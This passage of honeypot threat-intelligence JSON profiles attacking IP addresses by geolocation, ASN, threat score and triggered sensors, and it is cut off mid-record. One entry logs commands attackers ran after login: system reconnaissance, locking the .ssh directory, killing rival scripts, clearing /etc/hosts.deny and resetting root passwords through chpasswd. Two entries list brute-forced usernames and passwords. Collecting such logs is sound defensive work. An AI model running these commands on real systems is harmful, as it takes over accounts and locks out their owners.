        "last_seen_30d": "2026-05-25T20:29:07.877000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.143.253.211": {
      "attack_count": 2,
      "first_seen": "2026-05-11T04:56:05.484Z",
      "last_seen": "2026-05-11T04:56:18.742Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nicaragua",
      "country_code": "NI",
      "city": "Managua",
      "asn": 28036,
      "as_org": "Telefonia Celular de Nicaragua SA.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T04:56:05.484000+00:00",
        "last_seen_30d": "2026-05-11T04:57:53.723000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "194.165.26.4": {
      "attack_count": 2,
      "first_seen": "2026-05-02T09:08:40.502Z",
      "last_seen": "2026-05-02T09:09:29.890Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 51295,
      "as_org": "Tes Euro Media SRL",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:08:40.502000+00:00",
        "last_seen_30d": "2026-05-02T09:10:34.319000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "201.175.99.206": {
      "attack_count": 2,
      "first_seen": "2026-05-14T18:24:37.944Z",
      "last_seen": "2026-05-14T18:24:51.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Reynosa",
      "asn": 11888,
      "as_org": "Television Internacional, S.A. de C.V.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T18:24:37.944000+00:00",
        "last_seen_30d": "2026-05-14T18:26:36.709000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.238.32.252": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:59:50.553Z",
      "last_seen": "2026-05-19T07:00:03.268Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:59:50.553000+00:00",
        "last_seen_30d": "2026-05-19T07:01:08.180000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "203.110.82.50": {
      "attack_count": 2,
      "first_seen": "2026-05-09T17:46:14.405Z",
      "last_seen": "2026-05-09T17:46:27.895Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gurugram",
      "asn": 23872,
      "as_org": "delDSL Internet Pvt. Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T17:46:14.405000+00:00",
        "last_seen_30d": "2026-05-09T17:47:34.919000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.201": {
      "attack_count": 2,
      "first_seen": "2026-05-12T21:02:02.845Z",
      "last_seen": "2026-05-12T21:02:03.157Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 30,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T09:26:06.841000+00:00",
        "last_seen_30d": "2026-05-31T06:01:42.421000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 20,
        "ConPot": 4,
        "Dionaea": 3,
        "Cowrie": 2,
        "H0neytr4p": 1
      }
    },
    "38.199.112.4": {
      "attack_count": 2,
      "first_seen": "2026-05-23T22:28:11.496Z",
      "last_seen": "2026-05-23T22:30:11.502Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 267705,
      "as_org": "ORBIT CABLE, S.A.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:28:11.496000+00:00",
        "last_seen_30d": "2026-05-23T22:31:13.298000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.60.237.108": {
      "attack_count": 2,
      "first_seen": "2026-05-15T13:11:15.929Z",
      "last_seen": "2026-05-15T13:11:29.301Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T13:11:15.929000+00:00",
        "last_seen_30d": "2026-05-15T13:12:38.364000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.75.66.87": {
      "attack_count": 2,
      "first_seen": "2026-05-23T21:58:05.591Z",
      "last_seen": "2026-05-23T22:00:05.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Congo Republic",
      "country_code": "CG",
      "city": null,
      "asn": 36924,
      "as_org": "GVA-Canalbox",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T21:58:05.591000+00:00",
        "last_seen_30d": "2026-05-23T22:10:53.009000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.142.193.6": {
      "attack_count": 2,
      "first_seen": "2026-05-05T07:34:05.600Z",
      "last_seen": "2026-05-05T07:34:18.366Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 214295,
      "as_org": "Skynet Network Ltd",
      "threat_score": 61.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.7,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 19,
        "ports_targeted_30d": 110,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-05T05:28:47.852000+00:00",
        "last_seen_30d": "2026-05-23T18:41:20.931000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 129,
        "Honeytrap": 52,
        "Adbhoney": 4,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "45.184.33.219": {
      "attack_count": 2,
      "first_seen": "2026-05-10T01:34:38.559Z",
      "last_seen": "2026-05-10T01:34:51.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itamarandiba",
      "asn": 269353,
      "as_org": "VOLAREHOST INTERNET LTDA ME",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T01:34:38.559000+00:00",
        "last_seen_30d": "2026-05-10T01:35:51.994000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.226.191.108": {
      "attack_count": 2,
      "first_seen": "2026-05-11T16:28:20.284Z",
      "last_seen": "2026-05-11T16:28:33.560Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 271951,
      "as_org": "4 EVER PLUG,C.A.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T16:28:20.284000+00:00",
        "last_seen_30d": "2026-05-11T16:29:41.285000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.42.118.102": {
      "attack_count": 2,
      "first_seen": "2026-05-23T12:41:48.879Z",
      "last_seen": "2026-05-23T12:42:02.708Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bahrain",
      "country_code": "BH",
      "city": "Hamad Town",
      "asn": 51375,
      "as_org": "Stc Bahrain B.s.c Closed",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:41:48.879000+00:00",
        "last_seen_30d": "2026-05-23T12:43:10.785000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.245.110.233": {
      "attack_count": 2,
      "first_seen": "2026-05-07T14:44:33.509Z",
      "last_seen": "2026-05-07T14:45:04.256Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:44:33.509000+00:00",
        "last_seen_30d": "2026-05-07T14:46:05.543000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "60.198.110.153": {
      "attack_count": 2,
      "first_seen": "2026-05-20T13:45:01.150Z",
      "last_seen": "2026-05-20T13:45:14.711Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 18049,
      "as_org": "Taiwan Infrastructure Network Technologie",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:45:01.150000+00:00",
        "last_seen_30d": "2026-05-20T13:46:17.939000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "70.92.142.77": {
      "attack_count": 2,
      "first_seen": "2026-05-06T16:08:05.118Z",
      "last_seen": "2026-05-06T16:10:05.126Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Milwaukee",
      "asn": 10796,
      "as_org": "Charter Communications Inc",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:08:05.118000+00:00",
        "last_seen_30d": "2026-05-06T16:21:03.147000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.230.168.181": {
      "attack_count": 2,
      "first_seen": "2026-05-13T08:27:44.671Z",
      "last_seen": "2026-05-13T08:27:47.676Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 27,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T03:44:14+00:00",
        "last_seen_30d": "2026-05-29T17:55:13.103000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 28,
        "Cowrie": 2,
        "Ciscoasa": 1,
        "Dionaea": 1
      }
    },
    "91.230.168.91": {
      "attack_count": 2,
      "first_seen": "2026-05-19T21:54:52.382Z",
      "last_seen": "2026-05-19T21:54:52.383Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 27,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T10:00:10+00:00",
        "last_seen_30d": "2026-05-29T11:19:07.689000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 34,
        "Cowrie": 2,
        "Ciscoasa": 1,
        "Dicompot": 1
      }
    },
    "91.231.89.60": {
      "attack_count": 2,
      "first_seen": "2026-05-16T12:28:13.045Z",
      "last_seen": "2026-05-16T12:28:23.628Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 71.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.1,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 22,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-08T03:33:09+00:00",
        "last_seen_30d": "2026-05-29T15:24:42.606000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 22,
        "ConPot": 2,
        "Cowrie": 2
      }
    },
    "92.97.58.254": {
      "attack_count": 2,
      "first_seen": "2026-05-04T12:52:09.267Z",
      "last_seen": "2026-05-04T12:52:22.405Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:52:09.267000+00:00",
        "last_seen_30d": "2026-05-04T12:53:29.466000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "97.75.142.195": {
      "attack_count": 2,
      "first_seen": "2026-05-07T05:05:34.287Z",
      "last_seen": "2026-05-07T05:05:47.775Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Archdale",
      "asn": 22709,
      "as_org": "North State Telephone, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T05:05:34.287000+00:00",
        "last_seen_30d": "2026-05-07T05:06:48.234000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "99.227.107.145": {
      "attack_count": 2,
      "first_seen": "2026-05-08T08:50:25.868Z",
      "last_seen": "2026-05-08T08:50:38.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Scarborough",
      "asn": 812,
      "as_org": "Rogers Communications Canada Inc.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:50:25.868000+00:00",
        "last_seen_30d": "2026-05-08T08:51:44.369000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.26.106.229": {
      "attack_count": 4021,
      "first_seen": "2026-05-03T08:19:13.747Z",
      "last_seen": "2026-05-15T05:25:45.412Z",
      "sessions": 803,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "admin",
        "ftpuser",
        "user",
        "test",
        "ubuntu",
        "odoo",
        "deployer",
        "jenkins",
        "student",
        "guest",
        "hadoop",
        "kafka",
        "minecraft",
        "oracle",
        "testuser",
        "bot",
        "git",
        "uftp"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "123",
        "P@ssw0rd",
        "p@ssw0rd",
        "1",
        "12345678",
        "1234",
        "12345",
        "1qaz@WSX",
        "admin123",
        "admin",
        "root",
        "123root",
        "debian",
        "1111",
        "123123",
        "1234567890",
        "Aa123456",
        "0000"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 5981,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T08:19:13.747000+00:00",
        "last_seen_30d": "2026-05-15T05:27:32.936000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4021,
        "Suricata": 1960
      }
    },
    "69.175.86.26": {
      "attack_count": 968,
      "first_seen": "2026-05-14T23:28:51.093Z",
      "last_seen": "2026-05-21T07:40:06.939Z",
      "sessions": 484,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1924,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:28:51.093000+00:00",
        "last_seen_30d": "2026-05-21T07:41:13.002000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 968,
        "Suricata": 956
      }
    },
    "121.231.24.175": {
      "attack_count": 737,
      "first_seen": "2026-05-21T06:39:31.524Z",
      "last_seen": "2026-05-22T09:42:56.139Z",
      "sessions": 369,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 1131,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:39:31.524000+00:00",
        "last_seen_30d": "2026-05-22T09:44:04.134000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 737,
        "Suricata": 394
      }
    },
    "187.62.87.27": {
      "attack_count": 615,
      "first_seen": "2026-05-09T00:19:42.111Z",
      "last_seen": "2026-05-23T17:29:53.143Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "postgres",
        "test3",
        "user",
        "guest",
        "sysadmin",
        "ubuntu",
        "webdeploy",
        "administrator",
        "cmsadmin",
        "deployer",
        "elasticsearch",
        "git",
        "mk",
        "mysql",
        "sgp",
        "sri",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789",
        "qwerty",
        "123123",
        "123456",
        "123456789010",
        "1qq2w3e4r5t",
        "2001",
        "@Admin2024",
        "A123123a",
        "Debian@123",
        "P@SVVORD",
        "Password1",
        "Password@123",
        "Q1w2e3r4t5y6u7i8o9p0",
        "Zx123456.",
        "abc123",
        "admin123...",
        "aini130."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"guest12345\\nRr3YKjMJ6PQ8\\nRr3YKjMJ6PQ8\\n\"|passwd",
        "echo \"root:2uPHiQKRRt6X\"|chpasswd|bash",
        "echo \"root:7taDo2v1hyaP\"|chpasswd|bash",
        "echo \"test3\\n8A9GiQp1kTN7\\n8A9GiQp1kTN7\\n\"|passwd",
        "echo \"us3r\\nw1Cg5FeHL5NN\\nw1Cg5FeHL5NN\\n\"|passwd",
        "echo \"webdeploy\\nVFijKYoTXROK\\nVFijKYoTXROK\\n\"|passwd",
        "echo -e \"guest12345\\nRr3YKjMJ6PQ8\\nRr3YKjMJ6PQ8\"|passwd|bash",
        "echo -e \"test3\\n8A9GiQp1kTN7\\n8A9GiQp1kTN7\"|passwd|bash",
